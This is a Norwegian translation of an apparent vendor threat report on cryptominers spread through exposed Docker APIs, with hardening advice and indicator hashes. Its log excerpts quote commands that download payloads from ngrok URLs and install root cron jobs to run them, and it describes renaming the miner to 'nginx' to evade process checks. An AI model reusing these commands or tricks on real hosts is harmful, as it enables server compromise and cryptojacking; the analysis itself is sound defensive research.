Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere

Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere

Vi analyserte dataene som ble samlet inn ved hjelp av honeypot-beholdere, som vi laget for å spore trusler. Og vi oppdaget betydelig aktivitet fra uønskede eller uautoriserte gruvearbeidere for kryptovaluta som ble utplassert som useriøse containere ved å bruke et fellesskapspublisert bilde på Docker Hub. Bildet brukes som en del av en tjeneste som leverer ondsinnede gruvearbeidere i kryptovaluta.

I tillegg er programmer for arbeid med nettverk installert for å penetrere åpne nabobeholdere og applikasjoner.

Vi lar honningpottene våre være som de er, det vil si med standardinnstillinger, uten noen sikkerhetstiltak eller etterfølgende installasjon av tilleggsprogramvare. Vær oppmerksom på at Docker har anbefalinger for innledende oppsett for å unngå feil og enkle sårbarheter. Men honningkrukkene som brukes er containere, designet for å oppdage angrep rettet mot containeriseringsplattformen, ikke applikasjonene inne i containerne.

Den oppdagede ondsinnede aktiviteten er også bemerkelsesverdig fordi den ikke krever sårbarheter og er også uavhengig av Docker-versjonen. Å finne et feilkonfigurert, og derfor åpent, beholderbilde er alt angripere trenger for å infisere mange åpne servere.

Den ulukkede Docker API lar brukeren utføre et bredt spekter av lag, inkludert å få en liste over kjørende containere, hente logger fra en bestemt container, starte, stoppe (inkludert tvunget) og til og med opprette en ny container fra et spesifikt bilde med spesifiserte innstillinger.

Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere
Til venstre er leveringsmetoden for skadelig programvare. Til høyre er angriperens miljø, som muliggjør ekstern utrulling av bilder.

Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere
Distribusjon etter land av 3762 åpne Docker APIer. Basert på Shodan-søk datert 12.02.2019

Alternativer for angrepskjede og nyttelast

Ondsinnet aktivitet ble oppdaget ikke bare ved hjelp av honningkrukker. Data fra Shodan viser at antallet eksponerte Docker APIer (se andre graf) har økt siden vi undersøkte en feilkonfigurert beholder brukt som en bro for å distribuere Monero-programvare for gruvedrift for kryptovaluta. I oktober i fjor (2018, nåværende data du kan se slik ut ca. oversetter) var det bare 856 åpne APIer.

En undersøkelse av honeypot-loggene viste at bruk av beholderbilde også var forbundet med bruk av ngrok, et verktøy for å etablere sikre tilkoblinger eller videresende trafikk fra offentlig tilgjengelige punkter til spesifiserte adresser eller ressurser (for eksempel localhost). Dette lar angripere dynamisk opprette URL-er når de leverer nyttelast til en åpen server. Nedenfor er kodeeksempler fra loggene som viser misbruk av ngrok-tjenesten:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Som du kan se, lastes de opplastede filene ned fra nettadresser i stadig endring. Disse nettadressene har en kort utløpsdato, så nyttelaster kan ikke lastes ned etter utløpsdatoen.

Det er to nyttelastalternativer. Den første er en kompilert ELF-gruvearbeider for Linux (definert som Coinminer.SH.MALXMR.ATNO) som kobles til gruvebassenget. Det andre er et skript (TrojanSpy.SH.ZNETMAP.A) designet for å skaffe visse nettverksverktøy som brukes til å skanne nettverksrekkevidder og deretter søke etter nye mål.

Dropper-skriptet setter to variabler, som deretter brukes til å distribuere cryptocurrency-gruvearbeideren. HOST-variabelen inneholder URL-en der de skadelige filene er plassert, og RIP-variabelen er filnavnet (faktisk hashen) til gruvearbeideren som skal distribueres. HOST-variabelen endres hver gang hash-variabelen endres. Skriptet prøver også å sjekke at ingen andre kryptovaluta-gruvearbeidere kjører på den angrepne serveren.

Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere
Eksempler på HOST- og RIP-variabler, samt en kodebit som brukes for å sjekke at ingen andre gruvearbeidere kjører

Før du starter gruvearbeideren, blir den omdøpt til nginx. Andre versjoner av dette skriptet gir nytt navn til gruvearbeideren til andre legitime tjenester som kan være til stede i Linux-miljøer. Dette er vanligvis nok til å omgå kontroller mot listen over kjørende prosesser.

Søkeskriptet har også funksjoner. Den fungerer med den samme URL-tjenesten for å distribuere de nødvendige verktøyene. Blant dem er zmap-binæren, som brukes til å skanne nettverk og få en liste over åpne porter. Skriptet laster også en annen binærfil som brukes til å samhandle med tjenestene som ble funnet og motta bannere fra dem for å finne tilleggsinformasjon om tjenesten som ble funnet (for eksempel versjonen).

Skriptet forhåndsbestemmer noen nettverksområder som skal skannes, men dette avhenger av versjonen av skriptet. Den angir også målportene fra tjenestene – i dette tilfellet Docker – før skanningen kjøres.

Så snart mulige mål blir funnet, fjernes bannere automatisk fra dem. Skriptet filtrerer også mål avhengig av tjenestene, applikasjonene, komponentene eller plattformene av interesse: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16-klient og Apache CouchDB. Hvis den skannede serveren samsvarer med noen av dem, lagres den i en tekstfil, som angripere senere kan bruke til etterfølgende analyser og hacking. Disse tekstfilene lastes opp til angripernes servere via dynamiske lenker. Det vil si at det brukes en egen URL for hver fil, noe som betyr at etterfølgende tilgang er vanskelig.

Angrepsvektoren er et Docker-bilde, som kan sees i de neste to kodebitene.

Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere
Øverst er det å gi nytt navn til en legitim tjeneste, og nederst er hvordan zmap brukes til å skanne nettverk

Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere
Øverst er forhåndsdefinerte nettverksområder, nederst er spesifikke porter for å søke etter tjenester, inkludert Docker

Hvordan det ikke-proprietære Docker API og offentlige bilder fra fellesskapet brukes til å distribuere kryptovalutagruvearbeidere
Skjermbildet viser at alpin-curl-bildet har blitt lastet ned mer enn 10 millioner ganger

Basert på Alpine Linux og curl, et ressurseffektivt CLI-verktøy for overføring av filer over ulike protokoller, kan du bygge Docker-bilde. Som du kan se i forrige bilde, har dette bildet allerede blitt lastet ned mer enn 10 millioner ganger. Et stort antall nedlastinger kan bety å bruke dette bildet som et inngangspunkt; dette bildet ble oppdatert for mer enn seks måneder siden; brukere lastet ikke ned andre bilder fra dette depotet så ofte. I Docker inngangspunkt - et sett med instruksjoner som brukes til å konfigurere en beholder for å kjøre den. Hvis inngangspunktinnstillingene er feil (for eksempel beholderen er åpen fra Internett), kan bildet brukes som en angrepsvektor. Angripere kan bruke den til å levere en nyttelast hvis de finner en feilkonfigurert eller åpen container som ikke støttes.

Det er viktig å merke seg at dette bildet (alpine-curl) i seg selv ikke er skadelig, men som du kan se ovenfor, kan det brukes til å utføre ondsinnede funksjoner. Lignende Docker-bilder kan også brukes til å utføre ondsinnede aktiviteter. Vi kontaktet Docker og jobbet med dem om dette problemet.

anbefalinger

Feil innstilling rester konstant problem for mange selskaper, spesielt de som implementerer DevOps, fokusert på rask utvikling og levering. Alt forverres av behovet for å overholde revisjons- og overvåkingsreglene, behovet for å overvåke datakonfidensialitet, samt den enorme skaden som følge av manglende overholdelse. Å inkorporere sikkerhetsautomatisering i utviklingslivssyklusen hjelper deg ikke bare med å finne sikkerhetshull som ellers kan bli uoppdaget, men det hjelper deg også med å redusere unødvendig arbeidsbelastning, for eksempel å kjøre ytterligere programvarebygg for hver oppdaget sårbarhet eller feilkonfigurasjon etter at en applikasjon er distribuert.

Hendelsen omtalt i denne artikkelen fremhever behovet for å ta hensyn til sikkerhet fra starten, inkludert følgende anbefalinger:

  • For systemadministratorer og utviklere: Sjekk alltid API-innstillingene dine for å sikre at alt er konfigurert til å bare akseptere forespørsler fra en bestemt server eller internt nettverk.
  • Følg prinsippet om minste rettigheter: sørg for at containerbilder er signert og verifisert, begrens tilgang til kritiske komponenter (beholderoppstartstjeneste) og legg til kryptering til nettverkstilkoblinger.
  • Følg anbefalinger og muliggjør sikkerhetsmekanismer, f.eks. fra Docker og innebygd sikkerhetsegenskaper.
  • Bruk automatisert skanning av kjøretider og bilder for å få tilleggsinformasjon om prosessene som kjører i beholderen (for eksempel for å oppdage forfalskning eller søke etter sårbarheter). Applikasjonskontroll og integritetsovervåking hjelper til med å spore unormale endringer på servere, filer og systemområder.

Trendmicro hjelper DevOps-teamene med å bygge sikkert, rulle ut raskt og lansere hvor som helst. Trend Micro Hybrid skysikkerhet Gir kraftig, strømlinjeformet og automatisert sikkerhet på tvers av en organisasjons DevOps-pipeline og gir flere trusselforsvar XGen for å beskytte fysiske, virtuelle og skyarbeidsbelastninger under kjøring. Det legger også containersikkerhet med Dyp sikkerhet и Deep Security Smart Check, som skanner Docker-beholderbilder for skadelig programvare og sårbarheter når som helst i utviklingspipelinen for å forhindre trusler før de distribueres.

Tegn på kompromiss

Relaterte hasher:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Docker videokurs Øvende høyttalere viser hvilke innstillinger som må gjøres først for å minimere sannsynligheten eller helt unngå at situasjonen beskrevet ovenfor oppstår. Og 19.-21.august på nettintensiv DevOps-verktøy og juksekoder Disse og lignende sikkerhetsproblemer kan du diskutere med kolleger og praktiserende lærere ved et rundt bord, hvor alle kan snakke ut og lytte til erfarne kollegers smerte og suksess.

Kilde: www.habr.com

Legg til en kommentar